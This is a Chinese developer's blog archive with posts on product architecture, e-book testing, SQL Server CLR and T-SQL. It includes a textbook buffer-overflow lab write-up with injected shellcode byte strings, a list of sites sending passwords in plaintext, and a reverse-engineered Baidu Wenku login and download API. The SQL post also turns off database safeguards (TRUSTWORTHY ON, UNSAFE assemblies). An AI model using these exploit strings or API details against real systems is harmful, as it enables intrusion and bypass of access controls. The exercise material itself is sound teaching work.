博客园_木-叶

一次模块划分的争论及其结局

2012-01-10T15:57:00Z

公司最近正在对整个产品进行大规模的重构，把原先基于Web的产品线全部转向Android平台。随之而来的就是产品整体架构设计上的大讨论。作为其中一项最为旷日持久的争论的发起者，我觉得有必要把这个事件记下来。无论现在的思路或是观点是成熟的还是幼稚的。以后都可以引以为鉴。

先来描述一下我们要做什么。简单而言就是一个横跨各个内容源的书籍阅读平台。这个平台的目标不仅仅是方便用户在一个终端上，以一种统一的方式购买、阅读到所有内容源的书。同时，这个平台作为一个开放式的平台，也以方便内容源的接入为目标，这个平台就是起着这样一台读者与内容源之间的通道的作用。

这里的内容源是指持有内容版权的内容提供商，比如全国各家出版社、网络小说站点（如起点、红袖、纵横天下等）及其它数字出版资源提供商（如当当、淘花、云中书城、方正Apabi等）

这次改造的目标主要有这样几点：

开放平台：提供Apple Strore这样的机制，让其它内容源的开发者可以有机会自主地接入这个平台。比如当当网可以用我们给的SDK自己做一个Android APK，在里面卖当当的书。
升级管理：将原来一整个系统分拆成各个模块，各个模块可以独立地发布、测试。并使用强制升级的方式回避向后兼容的问题。

争论问题的背景是：不同的内容源所提供的内容的格式不尽相同。有EPUB，有PDF，有TXT，有SNB，也有DOC的。我们显然要尽量多地去支持这些书籍的格式。

争论的焦点在于：对内容的阅读这个功能，应该与每个内容源自身的APK合并还是分开实现？很多人觉得当然是要分开，但是其实现实中的问题没有这么简单。比如如下的几个问题：

有的书不是整本购买，而是一章章地买。阅读器看到一半儿，发现有一章没有买，是不是发起购买呢？如果是，应该向谁发起呢？
有版权的书，都是经过加密的，想解析这种加密好的文件，需要有Key，阅读器发现某一章没有Key了，找谁要Key呢？
TXT是整个的，没有章节，如果想为TXT附加章节信息，可能就要额外的实现，但是不同内容源的实现方式不同。如果章节列表在阅读中显示，阅读器又怎么知道不同内容源对于章节列表的定义方式呢？

诸如此类的问题还有很多。即便如此，我个人自始至终都坚持分开。但我的上级领导坚持认为应该合并在一起，一个APK应当包括分类浏览、购买、阅读等一整套的功能，自成体系。如果仅仅是我一个人坚持分开，显然不会有争论，级别在这儿摆着，他一句：“这个事情不要讨论了，就是这个样子的。”我就直接歇了。好在主导这次重构的两个架构师的意见和我比较一致。于是我们几个人在大庭广众之下（一时找不到会议室）争论了多次。最后上级的上级看不下去。把我们一票人拉去群体PK。

最后BOSS给的解决方案是这样的：

如果讨论不清楚就合一块。以后有必要了再分开。
这两种方式没有实质上的冲突，可以并存，也应该并存。只是先实现哪种方式的问题。
讨论哪一种方式更好的时间，还不如直接让做的人自己选一个自己觉得爽的方试直接做了。

虽然我就是那个做的人，BOSS说我爽就行。但是对于这个解决方案我目前是相当的不满意。

从技术的角度，我觉得合比分要简单得多，先分着做，出现无法解决的问题，再合起来所用的时间应该比把一个系统拆分成不同模块所用的时间更少。先分着做，也能把层次关系尽早理清。

从管理的角度，做正确的事情，应该比做事的效率重要吧？

本文链接

电子书籍质量保证事件分析

2011-12-22T15:30:00Z

在产品的验收阶段，正式发布前一周，紧急动员全公司的人，对1万多本电子书进行人肉测试。我觉得这事儿真是有点儿意思。不知道各位怎么看？也许所有的公司或产品都有可能出现类似的状况，但是我想分析一下：为什么会出现这样的事件，有没有什么办法尽量避免出现类似的事情？

故事的背景是，公司新研发的电子书设备发布在即；同时，为了丰富在设备上可以阅读的书籍的来源，也在接入一些其它公司的内容，其格式为PDF，而我们公司的电子书本来就是支持PDF阅读。

然而，当最近一周这些内容全部上线的时候，测试人员发现一些很严重的问题。比如：

部分书籍太大，有40-100M，设备表示压力很大，打开就需要1分钟，翻一页要10秒，或者干脆就死掉了。
PDF的排版是固定的，不像EPUB一样是流式的，可以运行时自动调整。而且多数PDF的排版目标是为了打印效果。所以在800*600分辨率的设备上阅读的时候相当吃力。（设备目前不支持触屏，不支持缩放。）
部分书籍含有乱码。

显然上述情况的存在，会严重影响新产品质量。甚至会影响新产品发布。像一开始说的，我们的做法是逐本人肉测试。做这个决定的时候，是一个周五下午5点。我们甚至连完整的书单都还没有。而计划是下一个周二时，第一轮验收要结束。再一个周二产品就要发布了。

动员全公司的人帮忙做测试的时候，很多人都想问事情怎么会发展到这种地步，其实我也想问这个问题。从接入其它公司内容这个想法出来，到找其它公司洽谈，到我们技术上实现接入。所有人似乎都只看到了一个美好的愿景，却对其中潜在的问题视而不见。当然，一开始也有人提到要找一些样书来看看，但是“看看”就够了吗？

什么样的书可以作为接入可行性的样书？各种类型、大小、编码、章节细分度、字体大小、图片多少、原生/扫描…等等…的组合？
样书拿来之后，用什么样的标准来判定？有多少指标？应该要有文档化吧。
样书判定不合格就不接入了吗？
设备还有没有优化的空间？让更多的书合格？
我们觉得合格了，最终用户觉得就是无法接受怎么办？
部分样书不合格，但是决定接入，那如何在所有书中找到所有不合格的书？
书籍合格性判定，能不能自动化？还是一定要人肉。
如果可以自动化，是不是要开发自动化工具，需要多少资源？
如果不能自动化，需要以什么样的方法判定？找实习生？临时工？他们的判定结果的质量如何控制？

其实上面这些问题我也是事后总结的。但是事前详细想想也是可以想到很多问题。但是在下面的形势面前：

接入的事情迫在眉睫
我们的设备本来就是支持PDF阅读的
公司战略目标就是要丰富内容。人家谈判那么久，你这那那这的，为什么不先花时间接入进来再说？
我们同时接入的第三方有很多。

当时的工作重点，是不惜一切代价地把内容接入进来。一切问题都可以认为是我们的问题。在这样的大环境下，内容接入以外的事情都是次要的。到了验收阶段，产品质量就成了主要矛盾，就需要花大力气解决了。听起来很合情合理。细想起来真是屎一样的逻辑，无脊椎动物的逻辑。

产品质量监控应当贯穿于产品的每个阶段，每个环节。问题暴露得越早越好。这样做事情才像是发现问题，然后解决问题；而不是遇到问题，然后打补丁。理想状况下，二者最后结果可能会一样，但是过程却是完全不同的体验。在第一种环境下，只要你喜欢这份工作，你会乐在其中，享受过程；在第二种环境下，即使你喜欢这份工作，也会被搞得焦头烂额，身心俱疲，最后被补丁埋葬。

相对于写代码而言，尤其是已经有了设计的问题，想问题才真正属于脑力活。这里说的问题并不是指设计问题，软件设计也是脑力活，但是依然局限在某技术框架之中，有了经验，设计也是体力活。这里指的问题是整个产品的设计方向，整个公司的做事方式，市场永远是变化的，永远都有新的问题出现，永远是优胜劣汰。有人觉得这不是技术人员做的事情，此言差矣。像上面列出的一些问题，可以从技术上解决的就从技术上解决，但是很多问题不是单纯的技术问题，甚至可能会为公司引入一个新的部门，这不就是一个问题引发的工作机会吗。谁想到了这些问题，谁自然就有发言权（当然可能没有决策权）。

重要的是，是事前把问题提出来，并文艺地解决掉。还是等到用户投诉电话打来了，才发现自己要被领导骂成2B了？现实可能比较普通一些，也最普遍，问题非要到大规模测试的时候才能暴露出来，虽然能保证用户看不到问题了，我们也得累得和2B一样。但是这样的状态谁想要？

所以可能一些刚入行的程序员，常常抱怨自己的老大P事儿不干，就喜欢说大话。当然，我不否认很多老大的确是这样，但是一个称职的老大的确应该是P事儿都不干，代码一行不写。因为他有更重要的事情要做。他要想，应该做什么，不应该做什么，先做什么，后做什么，做到什么样是OK了，把什么事儿分给什么人做，做的过程中可能会出现什么问题，有什么应对的策略。总之一句话，能保证项目按时保质地完成，就是合格的老大；同时能让手下很文艺地工作，天天很Happy地回家，那他就是一个NB的老大。

所以老大的一个重要职责就应该是把工作给手下讲清楚，做什么，不做什么……，当然，老大如果充分信任自己的小弟，也可以让小弟自己全权负责。但是其实这个时候很容易出样下面这样的情况。

老大：我手上有200张票，明天的，你发一下。
小弟：好。
小弟想了想，为了让更多的人享受到这个福利，同时也做推广，决定以家庭为单位，一家一张。于是发给了200个人家。
小弟回来向老大汇报工作。
老大：我X，你为人家想想好不好，想去还再掏钱，你应该一家发三张，一般家庭都是三口之家。
小弟：……

大家也不用考虑应该怎么发票，这完全是我YY的情节，有些事情只关于做事的方法和理念，没有对错。每个人关注点不同，方法自然不同。也许所有事情都有个最佳方案，但是一般都需要一定的调研才能得出结论。比如上面的例子，如果想要知道哪种发法收益最大，恐怕要调研一家人拿到一张票时，有多少比例会去买，有多少直接放弃。和一般和是什么票有关系。但是首先要判断调研值不值？时间够不够？要效率还是要效果？多数情况下二者是难以兼得的。老大有自己的考虑，小弟也有自己的考量。谁对谁错？Who knows. I don’t care. 但是这时候，你觉得最重要的是什么呢？

从项目和公司的角度而言，最重要的就是事情有没有搞定。所以无论票怎么发，事情最终是搞定了，小弟也体验了把自己做主的感觉，过程也不错。只是老大觉得搞得不漂亮，然后小弟估计也开心不起来。说到这里，我觉得我的意思已经表达清楚了。

感觉说得有点儿远，其实说的是同一个事儿——为什么事情会发展到这种地步。当然，上面只是我个人的一点儿想法。我也还没有真正做过Leader，也许我做Leader之后会有更加不同的理解吧。

本文链接

在SQL Server中调用.NET程序集

2011-12-20T11:15:00Z

使用到这东西完全是个巧合和无奈之举。不小心在数据库中插入了一些HttpUtility.UrlEncodeUnicode之后的数据。数据库里的一些字段成了%uxxxx%uxxxx这样的结构。

搜索了半天T-SQL UrlDecode的函数，发现都不支持上面这种Unicode的。自己对T-SQL又不熟悉，时间也很紧迫。

解铃还须系铃人，想到在T-SQL里调用HttpUtility.UrlDecode应该会比较方便。查了一下，大概代码如下。这东西用完就忘，记下来备查吧。

建立一个DLL，一个类，代码如下。

public partial class SystemWeb 
    { 
        [SqlMethod] 
        public static SqlString UrlDecode(string value) 
        { 
            return new SqlString(HttpUtility.UrlDecode(value)); 
        } 
    }

放到数据库服务器上。

之后运行下面的T-SQL代码

EXEC sp_configure 'show advanced options','1'; 
GO 
RECONFIGURE; 
GO 
EXEC sp_configure 'clr enabled','1' 
RECONFIGURE; 
GO 

ALTER DATABASE DBName SET TRUSTWORTHY ON 
GO 

CREATE ASSEMBLY 
[System.Web] FROM 
'C:\WINDOWS\Microsoft.NET\Framework64\v2.0.50727\System.Web.dll' 
WITH permission_set = UNSAFE 
GO 

CREATE ASSEMBLY SQL_CLR_Url 
FROM 'D:\SqlClr.dll' 
WITH PERMISSION_SET = UNSAFE 

GO

CREATE FUNCTION SqlUrlDecode(@urlstr NVARCHAR(4000)) 
RETURNS NVARCHAR(4000) 
AS 
EXTERNAL NAME SQL_CLR_Url.[SqlClr.SystemWeb].UrlDecode 
GO

然后就可以在T-SQL里调用这个函数了。

select dbo.SqlUrlDecode(Name) from Table

安全起见，屁股擦完了，记得把clr关掉。

本文链接

T-SQL 操作XML示例

2011-11-29T12:06:00Z

看MSND好长

CREATE TABLE XMLTable
(
ID int primary key,
Data xml,
)

INSERT INTO XMLTable (ID, Data) Values (1, '<entity><id>1</id><name>name</name></entity>')

Select Data.query('/entity/name/text()')
FROM XMLTable WHERE Data.value('(/entity/id)[1]', 'int') = 1

-- Perform the same function

Select Data.value('(/entity/name/text())[1]', 'nvarchar(max)')
FROM XMLTable WHERE Data.value('(/entity/id)[1]', 'int') = 1

-- Much faster
Select Data.value('(/entity/name/text())[1]', 'nvarchar(max)')
FROM XMLTable WHERE Data.exist('/entity/id/text()="1"') = 1

-- The grammar is so ugly.
Update XMLTable Set Data.modify('replace value of (/entity/name/text())[1] with "UpdatedName"')

本文链接

Windows平台缓冲区溢出攻击练习详解（这次成功了，Windows真是好欺负啊）

2011-09-23T16:20:00Z

昨天试过Linux系统下的BufBomb练习，结果在最后时刻被Linux操作系统的ExecShield给做了。正是由于这ExecShield，在Linux平台上，传统的Buffer Overflow已经彻底失效了。

今天我们来试下Windows平台。昨天那篇日志是我练习时留下的笔记，所以比较乱，很多地方没有讲明白。这次是做完练习之后的整理，我会尽量把步骤介绍清楚。

首先，为了在Windows平台上编译这个代码，要多引入一个malloc.h的头文件。我们先来看看最关键的代码片段。

         /* $begin getbuf-c */

        int getbuf()

        {

        char buf[12];

        getxs(buf);

        return 1;

        }

        void test()

        {

        int val;

        printf("Type Hex string:");

        val = getbuf();

        printf("getbuf returned 0x%x\n", val);

        }

getbuf函数直接return 1; 然后在test函数中，直接把这个返回的数字1放在val变量中并以十六进制的形式输出出来。显然这个程序在正常情况下，输出的就是0x1。而题目的要求就是让这个程序输出0xdeadbeef。方法就是利用getbuf函数没有检查用户输入长度的漏洞，通过输入特别构造的字符串，改变程序的运行过程，让程序运行任意代码。

我们在getbuf函数中加一个断点，把程序断下来。看看生产的汇编代码和程序栈中的情况。这里使用了NetBeans 7.0.1 + GCC 4.6.1作为开发、调试环境。

程序断下来之后，按如下图所示的方式，可以看到当前函数的汇编代码。

还得把内存和寄存器（就是图中的注册）窗口打开。（可恨这些都没有个快捷键，而且内存窗口只能有一个。都很让人不爽。）然后我们就可以看到汇编出来的代码。

当前行所指向的代码 lea -0x14(%ebp),%eax的意思就是取buf的起始地址。再来看看寄存器里的内容。

这时ebp的值是0x28ef98，所以buf的起始地址就是0x28ef98-0x14=0x28ef84。用户输入的字符串就是从这个地方开始存放在内存中的。我们也就是要让程序跳转到这个地址上去执行我们特别构造好的代码。

那么现在的问题是，如何让程序跳转到BUFF所在的地址上去？再来看上面的汇编代码，后面就要ret了，ret就是一次跳转，而跳转的地址就是保存在栈中的。而且，这个跳转的地址比BUFF的起始地址要大。所以BUFF里的数据如果溢出的话，是完全可以覆盖掉这个地址的。也就是可以让这个函数结束时，返回到任何地方去执行任何代码。

现在用栈里的情况，来验证上面的说法。上图的寄存器的值显示，栈顶的地址是0x28ef70。就是这块内存。如下图所示。

每行16个字节。红框即栈顶，绿框即栈底，蓝框即Buff的内存。绿框是保存的值是函数开始时入栈的ebp值。它后面的0x401476即是函数的返回地址。上图中eip寄存的值是0x40144d，这是当前指令的地址。很接近哈，这就对了，代码们本来就是在一起的。原来的返回地址后面也要用到。这里先记下。

Buff的大小是12字节，离函数返回地址还有16个字节。所以总共要输入28个字节的值。其中绿框的部分是ebp值，是函数返回要用的，所以要保留。后面的返回地址要改成Buff的起始地址。

所以我们构造的数据的后8字节应该是：c8 ef 28 00 84 ef 28 00

现在就来手写汇编代码，修改掉这个函数的返回值。从getbuf的汇编代码中可以看出，函数的返回值是保存在eax中的。所以我们的汇编代码应该是。

movl $0xdeadbeef, %eax

jmp 0xXXXXXXXX

第一行很好理解，第二行，目标是直接跳转到getbuf本来应该返回到的地方。这个地址是0x401476，但是jmp使用的是相对偏移。这两条指定占用10个字节，所以下一条指令的地址就是Buff的起始地址加10。即0x28ef84 + 0xa = 0x28ef8e。

所以偏移量就是0x401476 – 0x28ef8e = 0x1724e8。所以完整的代码就是

movl $0xdeadbeef, %eax

jmp 0x1724e8

把这两行代码放在一个文件中，比如叫，bomb.s，然后按下图所示的方式运行gcc和objdump来得到十六进制机器码。

生成的b.s文件内容如下。

Disassembly of section .text:

00000000 <.text>:

0: b8 ef be ad de mov $0xdeadbeef,%eax

5: e9 ee 24 17 00 jmp 1724f8 <.text+0x1724f8>

a: 90 nop

b: 90 nop

可以看到上面两条汇编的二进制表示，即b8 ef be ad de e9 ee 24 17 00。这就是要输入Buff的前10个字节。任务完成！我们有了前10和后8字节，总共需要28字节，中间的10个字节就可以随意了。

所以我们最终可以得到的攻击用的字符串是：

b8 ef be ad de e9 ee 24 17 00 00 00 00 00 00 00 00 00 00 00 c8 ef 28 00 84 ef 28 00

我们来运行一下看看。

作为对比，正常的执行结果应该是：

这是第二次做这个事情了，所以没有像第一次单步跟踪的过程。有兴趣的同学可以自己加个断点试试，我上面给出的结果很有可能在你的机器上不能起到攻击的效果，如果想重现，很可能要自己从头做一遍。

Window 7 + GCC 4.6.1环境攻击成功。昨天Ubuntu 11.04 + GCC 4.5.2攻击失败，Linux早在05年的时候就通过ExecShield机制让这种原始的Buffer Overflow攻击入了土。也许是配置问题，但是默认就能攻击成功也是不靠谱的。

本文链接

缓冲区溢出攻击练习

2011-09-22T17:07:00Z

《深入理解计算机系统》练习3.38，要求对提供的一个程序进行缓冲区溢出攻击。这里给出自己解题过程。这个程序在不做修改的情况下，在windows平台是无法编译的。所以以下练习基于Ubuntu 11.04 + GCC 4.5.2

要求是：让这个一直输出1的程序输出-559038737(deadbeef)。

目标就是要溢出getbuf这个函数，就把把getbuf这个函数内的执行权拿到，但在运行完我们指定的代码之后，我们还是要让这个函数返回到他本来就应该返回的地方的。查看test的汇编代码。

08048597 <test>:

8048597: 55 push %ebp

8048598: 89 e5 mov %esp,%ebp

804859a: 83 ec 28 sub $0x28,%esp

804859d: b8 e0 86 04 08 mov $0x80486e0,%eax

80485a2: 89 04 24 mov %eax,(%esp)

80485a5: e8 12 fe ff ff call 80483bc <printf@plt>

80485aa: e8 b4 ff ff ff call 8048563 <getbuf>

80485af: 89 45 f4 mov %eax,-0xc(%ebp)

80485b2: b8 f1 86 04 08 mov $0x80486f1,%eax

80485b7: 8b 55 f4 mov -0xc(%ebp),%edx

80485ba: 89 54 24 04 mov %edx,0x4(%esp)

80485be: 89 04 24 mov %eax,(%esp)

80485c1: e8 f6 fd ff ff call 80483bc <printf@plt>

80485c6: c9 leave

80485c7: c3 ret

黄色高亮的就是getbuf返回时，本应该返回到的地址。当然，也可以返回到其它的地方去。

我们来验证一下，运行程序，并在getbuf这个函数上加断点，%ebp的值是0xbfffefa8，我们在这个内存的前面，即0xbfffefac这里，可以看到getbuf的返回地址是080485AF。它前面保存的栈底也要记下来，是0xbfffefd8。这两个是在我们构建返回点时要用到的。

再来看getbuf这个函数。

int getbuf()

{

char buf[12];

getxs(buf);

return 1;

}

申请了12字节的内存，所以输入的前12字节随便是什么都可以。但是这并不意味着13字符开始就覆盖到了不应该覆盖到的内存。还要覆盖到getxs函数的返回地址。覆盖的这个地址才是要计算的。我们来看反汇编出来的代码。

08048563 <getbuf>:

8048563: 55 push %ebp

8048564: 89 e5 mov %esp,%ebp

8048566: 83 ec 28 sub $0x28,%esp

8048569: 65 a1 14 00 00 00 mov %gs:0x14,%eax

804856f: 89 45 f4 mov %eax,-0xc(%ebp)

8048572: 31 c0 xor %eax,%eax

8048574: 8d 45 e8 lea -0x18(%ebp),%eax

8048577: 89 04 24 mov %eax,(%esp)

804857a: e8 15 ff ff ff call 8048494 <getxs>

804857f: b8 01 00 00 00 mov $0x1,%eax

8048584: 8b 55 f4 mov -0xc(%ebp),%edx

8048587: 65 33 15 14 00 00 00 xor %gs:0x14,%edx

804858e: 74 05 je 8048595 <getbuf+0x32>

8048590: e8 37 fe ff ff call 80483cc <__stack_chk_fail@plt>

8048595: c9 leave

8048596: c3 ret

现在%ebp的值是0xbfffefa8，而在call getxs前，lea -0x18(%ebp),%eax，这里分配的起始地址是0xbffef90，这个就是buf的地址。这个地址在当前%esp之前，所以getxt溢出这个buf，并不能改定到getxt本身的返回地址。而只能改写getbuf的返回地址。这个地址的位址，在前面说了，是在0xbfffefac这个地方，所以我们要改写到这个区域的数据。所以，我们要改的内存区域是从0xbfffef90~0xbfffefaf这32个字节的内存。当然你写可以改定后面所有的内存，这样你就可以想干什么就干什么了，但是我们现在是要完成这个题目。所以后面要做的还是要做的。

所以我们希望可以让程序返回到0xbfffef90这个地方执行我们自己的代码。要执行的代码也很简单，就一行

movl $0xdeadbeef, %eax

这个代码在上面的示例中已经有类似代码了。所以可以知道这个代码的二进制表示是：

b8 ef be ad de

我的环境是Ubuntu，所以用的是小端法。然后就可以返回了。返回的代码上面也有。就是

c9 c3

这个返回的地址，应该就是getbuf原来的返回地址：0x080485AF了。但是leave和call都会造成%esp的变化，一个想法就是，我们可以不leave，直接return。这样我们就要当前（调用getbuf时）%ebp所指向就是正确的返回地址。但是这时%ebp所指向的地址0xbfffefd8已经很远了。这有太多东西要输入了。

所以换个思路，不ret了，直接jmp! 直接Jmp的话，我们直接跳到为print准备参数那行（0x080485be）就好了。嘿嘿。代码就是。

ff 25 be 85 04 08

所以前面的11个字节就是

b8 ef be ad de ff 25 be 85 04 08

中间 32 － 11 － 8 ＝ 13个字节随意。

然后是 d8 ef ff bf 90 ef ff bf

b8 ef be ad de ff 25 be 85 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf 90 ef ff bf

好了，我们试一下，结果发现失败了。单步一下，发现是__stack_chk_fail。现在的编译器啊。唉，就给我们找事儿。我临时手工改了下%eip的值跳过了这一步，继续。

结果在运行到 RET语句的时候，得到的又是一个错误框

对于这个SIGSEGV，解释是：

SIGSEGV --- Segment Fault. The possible cases of your encountering this error are:
1.buffer overflow --- usually caused by a pointer reference out of range.
2.stack overflow --- please keep in mind that the default stack size is 8192K.
3.illegal file access --- file operations are forbidden on our judge system.

想了一下，这个时候，%esp的值是0xbfffefac，而我们要跳转到0xbfffef90。这个地址是在栈顶之外。可能就是stack overflow的原因?

那再试下把要运行的代码向后放。前11个也随意。

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf b0 ef ff bf b8 ef be ad de ff 25 be 85 04 08

结果还是一样的Error看来不是这个问题。于是我怒了，直接把%eip的值改成了0xbeffefb0以绕过ret。然后运行还是同样的错误。这个时候，我就开始怀疑这不是攻击代码的问题了，而是操作系统本身不允许在数据页上运行代码。此一时，彼一时啊。那个时候的OS比较温顺？

然后Google了一下，发现也有人遇到了同样的问题。还看到一个很恶心的做法。就是直接把getbuff函数return到print函数上。其实这样做对于攻击而且没有太大的意义。因为这样只能调用程序中已经有的代码，只是给它编一个参数而已。并没有运行自己编写的代码。

看来还是只能绕过安全机制才行。不过今天已经晚了，明天有空再来研究如果能绕过这个安全机制吧。

更新：

今天找到了最后出异常的解释。结论就是这种弱智的Buff Overflow攻击在现代操作系统中，已经不能做为有效的攻击手段了。

这里还有一群人讨论出来的各种解法。

本文链接

暴几个用明文在网上传输用户名密码的网站

2011-08-21T17:21:00Z

刚才无聊，截了几个网络包，发现登录时没有把用户的密码加密的网点真是不少。

不加密咋了？不加密的话，你的密码在发到网站的路上，就可能被别人看到啊。更悲剧的情况是所有网站基本用一个用户名、密码。

下面是一部分明文传密码的网站：

猫扑 http://www.mop.com/

天涯 http://www.tianya.cn/

人人网 http://www.renren.com/

土豆网 http://www.tudou.com/

优酷网 http://www.youku.com/

豆丁网 http://www.docin.com/

赶集网 http://www.ganji.com/

58同城 http://www.58.com/ (登录时有加密，注册时没有)

拉手网 http://www.lashou.com/

美团网 http://www.meituan.com/

糯米网 http://www.nuomi.com/

去哪儿 http://www.qunar.com/

鲜果网 http://www.xianguo.com

抓虾网 http://www.zhuaxia.com

珍爱网 http://www.zhenai.com/

账族网 http://www.zonezu.com

分智网 http://www.fenzhi.com/

大众点评 http://www.dianping.com/

中关村在线 http://www.zol.com.cn/

下面这些是安全的。加密方式无所谓，其实有就行。

使用摘要式加密密码的站点：

开心网 http://www.kaixin001.com/

360 http://www.360.cn/

搜狐 http://www.sohu.com/

腾讯 http://www.qq.com/

使用了TLS加密登录的站点：

百度 http://www.baidu.com/

网易 http://www.163.com/

新浪 http://www.sina.com.cn/

推他 http://www.tuita.com/

豆瓣网 http://www.douban.com/

当当网 http://www.dangdang.com/

卓越 http://www.amazon.cn/

东京 http://www.360buy.com/

中国移动 http://www.chinamobile.com/

本文链接

百度文库手机版通信协议分析

2011-06-11T05:12:00Z

下面表格中的操作的HTTP请求头中的HOST都必须是appwk.baidu.com。都是以POST的形式请求。POST的数据的格式都是：

request={"Bdi_bear":"UMTS","BDUSS":""}

其中BDUSS是登录时服务器发回的Token。但多数操作并不要求登录，这个BDUSS可以为空。

操作	URL	注	返回数据
下载排行	http://wenku.n.shifen.com/?rt=dl&type=1&pn=0&rn=10	type=0: 特别推荐 type=1: 下载排行 type=2: 上升最快	{"result":{"tn":60,"count":10},"content" :[{"doc_id":"5314d779168884868762d60b" ,"title":"\u600e\u6837\u624d\u80fd\u6000\u5b55" ,"size":"44032","download_count":"3012", "value_count":"1262","value_average":"8","ext_name":".doc"},
分类浏览	http://wenku.n.shifen.com/?rt=cl&pn=0&rn=0		{"result":{"tn":15,"count":10},"content" :[{"cname":"\u5c0f\u8bf4","cid":"79","ishot":"1"}, {"cname":"\u60c5\u611f","cid":"133","ishot":"0"}, {"cname":"\u52b1\u5fd7\/\u54f2\u7406","cid":"134","ishot":"1"}, {"cname":"\u5065\u5eb7","cid":"128","ishot":"0"}, {"cname":"\u6563\u6587\u968f\u7b14","cid":"93","ishot":"0"}, {"cname":"\u6c42\u804c\/\u804c\u573a","cid":"127","ishot":"1"}, {"cname":"\u5e7d\u9ed8","cid":"140","ishot":"0"}, {"cname":"\u79d1\u666e","cid":"135","ishot":"0"}, {"cname":"\u7f8e\u5bb9\/\u5851\u8eab","cid":"130","ishot":"1"}, {"cname":"\u8bd7\u8bcd","cid":"141","ishot":"0"}]}
分类书籍	http://wenku.n.shifen.com/?rt=cv&cid=79&od=0&pn=0&rn=10		{"result":{"tn":59966,"count":15},"content": [{"doc_id":"9b6ff4fc04a1b0717fd5dd83" ,"title":"\u7ecf\u5178\u7b11\u8bdd\u80fd\u5fcd\u52305\u4e2a\", "value_count":"1404","value_average":"8", "download_count":"768","size":"34816","ext_name":".doc"},
书籍详情	http://wenku.n.shifen.com/ ?rt=dp&doc_id=abc6e50016fc700abb68fcfa		{"content":{"tag_str":"", "summary":"\u6c5f\u5927\u5927\u7684\u597d\u4e66", "price":"0","cid":"538","ext_name":".txt"}}
在线阅读	http://wenku.n.shifen.com/?rt=dc&doc_id=abc6e50016fc700abb68fcfa&pn=0 &rn=5&pw=1000&dt=1	返回纯文本，如果是DOC和PPS也都转成TXT返回，图片、格式全丢失。	{"txt_size":3778,"content":["\u6c5f\u5357\u8bf4\u4ed6\u7684\u300a\u7f25\u7f08\u5f55\u300b \r\n\u5f92\u5f1f\u6c99\u6f20 \r\n0\u4f4d\u7c89\u4e1d \r\n 1\u697c\r\n\r\n\u6211\……
书籍下载	http://wenku.n.shifen.com/?rt=dc&doc_id=abc6e50016fc700abb68fcfa &pn=0&rn=0&pw=1000&dt=1	要求BDUSS不为空，dt参数表示文件的类型，0为原始类型，1为TXT类型	书籍的二进制流

下载书籍是要登录的，因为书籍是要有积分才能下载的。

登录的认证过程是在另一台服务器上完成的。

认证API的地址是：http://220.181.112.194/passport/?login HTTP请求头中的HOST是wappass.baidu.com。这个请求也要POST。POST的数据是：

tpl=wkc&cip=127.0.0.1&login_username=xxx&login_loginpass=ooo&phoneid=000000000000000&login_verifycode=&login_bdverify=&login_bdstoken=

这个过程中用户名、密码都是明文。（网页版的登录网页是TLS加密的）

成功登录的返回结果是：

<?xml version="1.0" encoding="utf-8" ?>
<login_succ>
    <param key="ssid" value="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" />
    <bduss>xxxxmJzfjRnSWRuVERQUFRYRmR0VUNWxxxxxxxxRTJveHR2bjFMODktLUJVUnBPQUFBQUFBJCQAAAAAAAAAAAokNx~iYicAbmFua2V6aGlzaGkAAAAAAAAAAAAAAAAAAAAAAAAAAADgiuV4AAAAAOCK5XgAAAAAcF1CAAAAAAAxMC4zNi4yM4HE8k2BxPJNb</bduss>
</login_succ>
这里的bduss就是可以用来下载图书了，ssid不知道是哈，按位数看可能是个GUID，可能与用户绑定，所以我xx了。但是如果百度的文库平台能这么简单就被搞定的话，也太小看百度了。先往下看。

登录失败的返回结果是：

<login_fail>
  <reason id="4">
  <![CDATA[ 
   登录密码错误，请重新登录 
  ]]> 
  </reason>
  <bdNeedVerify /> 
  <bdVcodeString /> 
  <bdBdstoken /> 
  <bdTime /> 
</login_fail>
id=2表示用户不存在。id=6表示验证码错误

有时（具体逻辑由服务器控制，可能密码正确的时候也会）会要求用户输入验证码：

<?xml version="1.0" encoding="utf-8" ?> 
 <login_fail>
 <reason id="204">
 <![CDATA[ 
 请输入验证码 
  ]]> 
 </reason>
 <bdNeedVerify>1</bdNeedVerify> 
 <bdVcodeString>3030313031393631303835353435303870617373706F72743133303737353632313630343031303130338559258195D169FA820791E1CC77719D</bdVcodeString> 
 <bdBdstoken>2c5aa8bdf8b3016474d2be6a97969645</bdBdstoken> 
 <bdTime>1307756216</bdTime> 
</login_fail>

其中的bdVcodeString是16进制编码的数据。解出来是这样的。0010196108554508passport130775621604010103+GUID

其中红色的应该是时间戳。后面的04010103一直都没有变过。每次请求都是这个值。后面就是一个GUID了。这个GUID会用来校验，所以自己YY一个是不行的。把别的bdVcodeString里的GUID重用过来也不行。最前面的0010196108554508可以被其它的bdVcodeString中的替换，但是生成的图片就是全新的了。

这个Response里是没有图片的。图片还要自己去另一个地方去取。POST请求的地址是：

http://passport.n.shifen.com/cgi-bin/genimage?3030313031393631303835353435303870617373706F72743133303737353632313630343031303130338559258195D169FA820791E1CC77719D

HOST是passport.baidu.com

服务器就会返回一张100*40大小的图片。图片中有1个4位数字。比如是1234。这里的图片是不唯一的。意思就是数字1234的图片可能有很多，如果图片是动态生成的。那一个数字就有100*40*2^32种可能的图片。所以你不要指望把图片抓下来做个Mapping就破解了。

这时，你再向登录服务器发一个登录请求就可以完成了。

tpl=wkc&cip=127.0.0.1&login_username=xxx&login_loginpass=ooo&phoneid=000000000000000&login_verifycode=&login_bdverify=&login_bdstoken=

其中的login_verifycode就是验证码，login_bdverify就是那一长串数字，login_bdstoken就是bdBdstoken里的值了。

此时的URL也要加一个参数。变成。

http://220.181.112.194/passport/?login=vc

这个验证图片在这里的作用就是防止一切自动化的非人为的访问。目前应用很广泛。

而目前，手机平台的在线阅读和网页版的根本不能同日而语。目前只能看TXT和EPUB。

本文链接

关于.NET里String.Compare与C++的不同，请高人解释下为什么这样？

2011-01-24T06:06:00Z

文中所有比较都是区分大小写的。

在C++中：

"a" < "A": True

"aA" < "A": True

"aA" < "AA": True

"Aa" < "AA": True

"ac" < "Ab": True

非常明显，在C++中，字符串比较遵循下面两条规则：

1. 小写<大写

2. 从前向后依次比较。这一条的一个推论就是：无视整体长度。

我个人觉得这非常合理，这也就是英语词典的排序方式。

但是我们看看在.NET中的结果。

String::Compare("a", "A"): –1

